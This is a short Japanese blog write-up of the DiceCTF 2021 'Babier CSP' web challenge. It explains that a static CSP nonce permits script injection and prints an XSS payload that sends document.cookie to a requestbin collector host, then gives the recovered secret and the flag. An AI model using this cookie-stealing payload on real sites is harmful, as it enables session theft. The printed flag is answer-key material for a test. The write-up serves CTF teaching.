はまやんはまやんはまやん

hamayanhamayan's blog

Babier CSP [DiceCTF 2021]

CTFtime.org / DiceCTF 2021 / Babier CSP

ソースコードが与えられる。ソースコードをよく見てみると、以下のようになっている。

const crypto = require("crypto");
const NONCE = crypto.randomBytes(16).toString('base64');

nonceを使ったCSPのためにcryptoを使っているが、シードが変わっていないので、毎回同じnonceが使われることになる。

<script nonce=LRGWAXOY98Es0zz0QOVmag==>alert(1);</script>

これをnameに入れるとalertが出てきたので、cookieを送らせる。

<script nonce=LRGWAXOY98Es0zz0QOVmag==>document.location='https://[requestbin].com/test?cookie='+document.cookie</script>

これをURLエンコーディングしたものを渡すと、secretが取得できる。
secret=4b36b1b8e47f761263796b1defd80745
/4b36b1b8e47f761263796b1defd80745にアクセスするとフラグ
dice{web_1s_a_stat3_0f_grac3_857720}